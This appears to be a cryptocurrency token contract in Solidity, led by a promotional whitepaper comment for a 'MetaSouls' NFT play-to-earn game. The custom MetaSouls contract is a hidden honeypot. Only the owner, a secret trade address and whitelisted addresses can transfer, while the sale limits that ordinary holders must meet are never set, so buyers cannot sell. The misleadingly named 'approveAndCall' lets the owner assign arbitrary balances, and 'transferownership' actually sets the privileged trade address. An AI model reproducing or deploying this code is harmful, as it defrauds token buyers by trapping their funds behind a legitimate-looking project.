/*
Meta Souls


META SOULS Online -META WORLD- is the new GameFi of Elemental Knights Online that won the "Gold Award of Game of the year" in Taiwan in 2012 with a total downloads of over 8 million. Incorporates UGC and Play to Earn to realize a metaverse space in a fantasy world.
Players from various fields such as MMORPG developers, blockchain developers, and cryptocurrency finance experts from all over the world are developing the game as one team!
* As the authorized source of "META SOULS Online", "Elemental Knights Online" is in Japan and is operated on Android, iPhone, Switch, and PlayStation4 platforms.


This project has three features: Free to Play x UGC to Earn x Play to Earn.
Anyone can start the game for free, resell the items acquired in the game on the NFT Marketplace, buy the rights and sell costumes made by themselves.

By incorporating the concept of DeFi into the Metaverse space, we will realize an economic circle in a fantasy world that has never been experienced before.

In META WORLD of META SOULS Online, you can bring various NFTs into the game and play the game.


"Limited fashion equipment" with unique appearance and special abilities

A limited number of rare and valuable "special items"

"Original equipment" that has evolved uniquely by confronting strong enemies
By using these NFTs, you can form a party with your friends, defeat various monsters, get valuable items, play to earn, and interact with adventurers around the world and you can trade NFT.


Updated contents after release will include sales of NFTs related to the production rights of "fashionable equipment" and land NFTs related to the production rights of "buildings, monsters and dungeons".



NFT regarding production rights for fashionable equipment
Those who have this right can make their favorite fashionable equipment and register them in the game as NFT items.
It will be possible to make many products and build a brand to sell them.
In the future, manufacturers of various types such as corporate brands and animations will enter the market.


NFT on land rights and production rights
By purchasing land, you can freely redesign the objects on the map, set your own NFTs as rare drop items for the monsters that appear there, and then release it to other players. You can also set up an entrance fee for the map and earn rights revenue from the map.

Play to Earn of META SOULS Online META WORLD
In this game, the in-game economy is composed of game money called ROND. ROND is like a Stable token and has the role of exchanging ROND earned in the game on the cryptocurrency exchange.

ROND is linked to the price of the cryptocurrency exchange, the value of ROND also changes even in the game, and arbitrage trading is adopted even in the in-game weapon shop.

Players can earn income through NFT sales and ROND by accepting requests in the Metaverse world, adventuring dungeons with friends and defeating strong enemies to acquire valuable items in the game.

Sometimes you can earn unexpected income by acquiring rare items. It will be a great pleasure to achieve this with your friends.

In addition, all items in the Metaverse world have a fixed distribution quantity. If you get a rare item, the value will increase as the number of players increases and the demand increases.

General Situation
Cryptocurrencies are rising in popularity as blockchain technology continues to dominate the news. This is due to the fact that they are valued and can disrupt the banking and financial systems. NFT, on the other hand, has recently gotten a lot of attention and created a lot of buzzes. For example, the NFT industry has grown up to 700% till the December of 2021.
Game NFT Industry
The video gaming industry (and the use of NFTs) has fast become one of the most important catalysts of broad blockchain adoption. Many gaming behemoths have realized this and are pouring a vast sum of money towards the creation of blockchain-based video games or features.
Blockchain technology and its plethora of possibilities are set to infiltrate gamers’ daily lives in the next few years. In total,  venture capitals have invested more than 1 billion USD in blockchain technology projects. But the most notable point among them is the NFT game, which has been reheated with the addition of the metaverse "engine".
This is why MetaSouls has found a way to combine the blockchain and NFT-based gaming worlds into a next-generation concept and create a universe of unique digital items.
The Way of MetaSouls
The future of blockchain video games will first come with Non-fungible Tokens (NFTs). Specifically, these identifiable tokens are unique and can be used to represent virtual assets.
MetaSouls makes blockchain technology accessible to ordinary consumers through these strategies:
Tokenization of digital items.
The concept of playing and learning to earn money.
A friendly concept that is created based on consumers' passion for blockchain technology.
An open platform that welcomes users of different technical expertise.
The revenue-based model can be maintained with the MetaSouls value inflation limit.
We intend to transform the blockchain world in terms of technology by bringing digital collections, digital scarcity, and non-fungible tokens to practical application in the video games world. As a result, a growing number of typical customers are learning how distributed ledger technology works. People can observe how the blockchain industry is expanding and how it can be utilized outside of the banking sector. 
Check out the legal agreement and terms & conditions section of this whitepaper for further information on legal terms.

Introduction

MetaSouls is a “PLAY TO EARN” game built on the ETHEREUM platform. In Business MetaSouls, players will embody cyborgs, go on an adventure to uncover the treasures, and learn more about mankind's once-famous civilizations.
Business MetaSouls features basic yet appealing gameplay that is appropriate for all ages, and the game also demands players to think creatively in order to find a variety of priceless gems. These are the significant benefits that contribute to the game's unique appeal. Being enveloped in the rapid growth of Blockchain technology as well as the NFT coding trend, which is quickly entering the conventional gaming industry with a big number of Crypto believers. 
Business MetaSouls promises to make significant advancements in the project's development as well as the day-by-day completion of the full Ecosystem established by our developers.
Ethereum Blockchain technology (ETHEREUM/ERC20) is used to build the game's platform. In-game objects are encrypted in NFT format to allow for P2P peer-to-peer transactions and to support the Play to Earn (P2E) system.

Mission and Vision

Mission
MetaSouls was created and developed for the purpose of making the blockchain platform which is accessible to everyone. The mission of MetaSouls is to create an integrated digital platform of tokenized resources that appeals to players by allowing them to join and gain benefits from Blockchain technology.
Vision
With the encryption of in-game objects using blockchain technology, the NFT game projects are truly revolutionizing the gaming industry today. This is why MetaSouls aims to create a new generation game idea that combines blockchain and NFT-based gaming world. For long-term vision, we are going to build a sustainable community where the players can develop their mindsets and skills comprehensively.


Problems and Solutions

Problems
In terms of providing a gaming experience, the NFT gaming sector is restricted. Instead of paying greater attention to user input, the manufacturers are mainly concerned with the in-game revenue methods. Furthermore, the game’s path is unclear, causing players to feel bored during play.
It will be difficult for individuals unfamiliar with the NFT or blockchain space to keep track of token pricing. After the game debuted, the token price skyrocketed, and many newcomers abandoned the game due to a lack of funds to continue.
Finally, doubts about token inflation and acts of vandalism in the game are raised by the potential risks of hacking and third-party software.
Solutions
Focusing on gameplay but still maintaining the easy points in game mode to keep up with the trend is our priority. Then users will be trained to play the game based on logic and skills to make money instead of "click to earn". Game visuals will be updated continuously to improve players' experience.
The game has a stable ROI mechanism to ensure fairness between early players and newbies.
Blind spots and random selections will be created for the security system to restrict hackers from penetrating into the game.



Game Story
Brief introduction about MetaSouls world
Set in the year 3002, gold and gem resources become a hot trend after a man discovers a lump of gold in a riverbed by accident. As a result of this news, individuals all over the world hurried to investigate the underground in every part of the globe in the hope of finding a life-changing opportunity. The game's protagonists are sensitive to this tendency and begin their exploration. Traveling to five different lands which are not only famous for their riches and products, but also for their dangers. When mining on specific terrains, innovators' tools, and machinery can maximize efficiency. Joining in the competition to gather the most resources in the hopes of transforming people's lives in the future.
*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract MetaSouls {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}